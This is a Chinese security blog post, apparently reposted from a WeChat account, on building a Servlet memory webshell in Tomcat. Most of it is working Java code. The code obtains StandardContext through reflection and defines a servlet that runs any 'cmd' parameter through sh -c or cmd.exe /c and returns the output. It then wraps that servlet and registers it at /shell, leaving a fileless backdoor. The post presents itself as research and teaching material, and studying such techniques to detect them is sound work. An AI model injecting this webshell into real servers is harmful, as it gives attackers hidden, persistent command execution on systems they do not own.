java内存马分析(二) Servlet内存马

admin 2025年2月25日13:29:56评论24 views字数 2804阅读9分20秒阅读模式

前言

我是懒狗不想介绍太多前置知识,直入主题。

小弟水平有限,如有不对欢迎指出,以免误人子弟。

相关代码都放在 https://github.com/safe6Sec/MemoryShell

java内存马分析(二) Servlet内存马

基础

更基础的东西,感兴趣的自己去补吧。我这里就提一下。

简单整理了一下tomcat的设计架构如下

Server->Catalina->Engine->host->context(web应用)->wrapper(servlet)

可以看出servlet就是个wrapper。它的上层是context也就是上下文,而tomcat上下文主要分三个。

  • ServletContext

  • ApplicationContext

  • StandardContext

它们之前的关系是如下:

ServletContext有一个实现类是ApplicationContext,而ApplicationContext实例中又包含了StandardContext实例。

ServletContext->ApplicationContext->StandardContext

而这里我们最关心的就是StandardContext(标准上下文),后期各种内存马都围绕着它进行。所以就衍生出了各种获取StandardContext的方式。目前全版本通杀的方式就是从线程数组里面取。

正向添加

我们先来学习学习如何正向的添加一个servlet。

注意:在3.0之前都是通过web.xml。3.0之后可以可用注解。

  1.  创建HttpServlet类,里面根据需要重写doGet或者doPost。也可以直接实现Servlet接口,把逻辑写在service里面。如下

java内存马分析(二) Servlet内存马

2. 配置web.xml 如下

      <servlet>          <servlet-name>Testservlet</servlet-name>          <servlet-class>cn.safe6.TestServlet</servlet-class>      </servlet>    <servlet-mapping>        <servlet-name>Testservlet</servlet-name>        <url-pattern>/test</url-pattern>    </servlet-mapping>

由此可见很简单,只需要配置servlet和映射关系即可。

StandardContext分析

然后打个断点,开始分析StandardContext。

经过分析发现所有的servlet都被放在children里面,映射放在servletMappings里面。

那么我们只需要创建一个servlet加到children里,然后在把往servletMappings里面添加一个映射关系即可实现内存马。

java内存马分析(二) Servlet内存马

java内存马分析(二) Servlet内存马

内存马实现

第一步、先拿到StandardContext。方法很多,我这里有request就直接从request里面拿了。

            //先拿到ServletContext            ServletContext servletContext = req.getServletContext();            Field appctx =servletContext.getClass().getDeclaredField("context");            appctx.setAccessible(true);            //从ServletContext里面拿到ApplicationContext            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);            Field atx= applicationContext.getClass().getDeclaredField("context");            atx.setAccessible(true);            //从ApplicationContext里面拿到StandardContext            StandardContext standardContext = (StandardContext) atx.get(applicationContext);

第二步、创建servlet

如下主要逻辑(执行命令回显)

        if (req.getParameter("cmd") != null) {            boolean isLinux = true;            String osTyp = System.getProperty("os.name");            if (osTyp != null && osTyp.toLowerCase().contains("win")) {                isLinux = false;            }            String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();            Scanner s = new Scanner(in).useDelimiter("\A");            String output = s.hasNext() ? s.next() : "";            System.out.println(output);            resp.getWriter().write(output);            resp.getWriter().flush();        }

java内存马分析(二) Servlet内存马

第三步、new一个servlet用wrapper包裹

注意设置name,后面配映射关系需要用到

            //准备内存马            ServletShell shell = new ServletShell();            //用wrapper包装内存马            Wrapper wrapper = new StandardWrapper();            wrapper.setServlet(shell);            wrapper.setName("shell");            //设置加载顺序            //wrapper.setLoadOnStartup(1);            //设置servlet全限定名,可以不设置            wrapper.setServletClass(shell.getClass().getName());

第四步、添加到children

            //添加到标准上下文            standardContext.addChild(wrapper);

第五步、配置映射关系

            //添加映射关系            standardContext.addServletMappingDecoded("/shell","shell");

至此内存马完毕,接下来创建一个addservlet用来模拟内存马注入。

java内存马分析(二) Servlet内存马

效果

注入

java内存马分析(二) Servlet内存马

成功执行命令

java内存马分析(二) Servlet内存马

参考

https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w

原文始发于微信公众号(safe6安全的成长日记):java内存马分析(二) Servlet内存马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月25日13:29:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   java内存马分析(二) Servlet内存马https://cn-sec.com/archives/847555.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息